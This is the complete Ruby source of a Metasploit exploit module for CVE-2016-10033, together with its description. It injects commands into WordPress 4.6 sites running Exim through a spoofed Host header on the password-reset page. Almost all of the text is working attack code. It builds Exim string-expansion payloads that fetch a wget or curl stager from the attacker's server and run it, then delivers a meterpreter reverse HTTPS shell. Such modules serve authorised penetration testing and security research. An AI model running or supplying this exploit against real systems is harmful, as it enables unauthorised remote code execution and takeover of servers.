This Metasploit module exploits a command injection vulnerability in WordPress version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer, a mail-sending library that is bundled with WordPress. A valid WordPress username is required to exploit the vulnerability. Additionally, due to the altered Host header, exploitation is limited to the default virtual host, assuming the header isn't mangled in transit. If the target is running Apache 2.2.32 or 2.4.24 and later, the server may have HttpProtocolOptions set to Strict, preventing a Host header containing parens from passing through, making exploitation unlikely.
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# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHPMailer Host Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in WordPress
version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer,
a mail-sending library that is bundled with WordPress.
A valid WordPress username is required to exploit the vulnerability.
Additionally, due to the altered Host header, exploitation is limited to
the default virtual host, assuming the header isn't mangled in transit.
If the target is running Apache 2.2.32 or 2.4.24 and later, the server
may have HttpProtocolOptions set to Strict, preventing a Host header
containing parens from passing through, making exploitation unlikely.
},
'Author' => [
'Dawid Golunski', # Vulnerability discovery
'wvu' # Metasploit module
],
'References' => [
['CVE', '2016-10033'],
['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'],
['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'],
['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions']
],
'DisclosureDate' => 'May 3 2017',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['WordPress 4.6 / Exim', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https',
'CMDSTAGER::FLAVOR' => 'wget'
},
'CmdStagerFlavor' => ['wget', 'curl']
))
register_options([
OptString.new('USERNAME', [true, 'WordPress username', 'admin'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
])
deregister_options('VHOST', 'URIPATH')
end
def check
if (version = wordpress_version)
version = Gem::Version.new(version)
else
return CheckCode::Safe
end
vprint_status("WordPress #{version} installed at #{full_uri}")
if version <= Gem::Version.new('4.6')
CheckCode::Appears
else
CheckCode::Detected
end
end
def exploit
if check == CheckCode::Safe
print_error("Is WordPress installed at #{full_uri} ?")
return
end
# Since everything goes through strtolower(), we need lowercase
print_status("Generating #{cmdstager_flavor} command stager")
@cmdstager = generate_cmdstager(
'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}",
:temp => datastore['WritableDir'],
:file => File.basename(cmdstager_path),
:nospace => true
).join(';')
print_status("Generating and sending Exim prestager")
generate_prestager.each do |command|
vprint_status("Sending #{command}")
send_request_payload(command)
end
end
#
# Exploit methods
#
# Absolute paths are required for prestager commands due to execve(2)
def generate_prestager
prestager = []
# This is basically sh -c `wget` implemented using Exim string expansions
# Badchars we can't encode away: \ for \n (newline) and : outside strings
prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \
"{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \
"{get #{get_resource} http/1.0$value$value}}}}}}"
# CmdStager should rm the file, but it blocks on the payload, so we do it
prestager << "/bin/rm -f #{cmdstager_path}"
end
def send_request_payload(command)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'headers' => {
'Host' => generate_exim_payload(command)
},
'vars_get' => {
'action' => 'lostpassword'
},
'vars_post' => {
'user_login' => datastore['USERNAME'],
'redirect_to' => '',
'wp-submit' => 'Get New Password'
}
)
if res && !res.redirect?
if res.code == 200 && res.body.include?('login_error')
fail_with(Failure::NoAccess, 'WordPress username may be incorrect')
elsif res.code == 400 && res.headers['Server'] =~ /^Apache/
fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict')
else
fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}")
end
end
res
end
def generate_exim_payload(command)
exim_payload = Rex::Text.rand_text_alpha(8)
exim_payload << "(#{Rex::Text.rand_text_alpha(8)} "
exim_payload << "-be ${run{#{encode_exim_payload(command)}}}"
exim_payload << " #{Rex::Text.rand_text_alpha(8)})"
end
# We can encode away the following badchars using string expansions
def encode_exim_payload(command)
command.gsub(/[\/ :]/,
'/' => '${substr{0}{1}{$spool_directory}}',
' ' => '${substr{10}{1}{$tod_log}}',
':' => '${substr{13}{1}{$tod_log}}'
)
end
#
# Utility methods
#
def cmdstager_flavor
datastore['CMDSTAGER::FLAVOR']
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
#
# Override methods
#
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
print_good("Sending #{@cmdstager}")
send_response(cli, @cmdstager)
@cmdstager = nil
else
print_good("Sending payload #{datastore['PAYLOAD']}")
super
end
end
end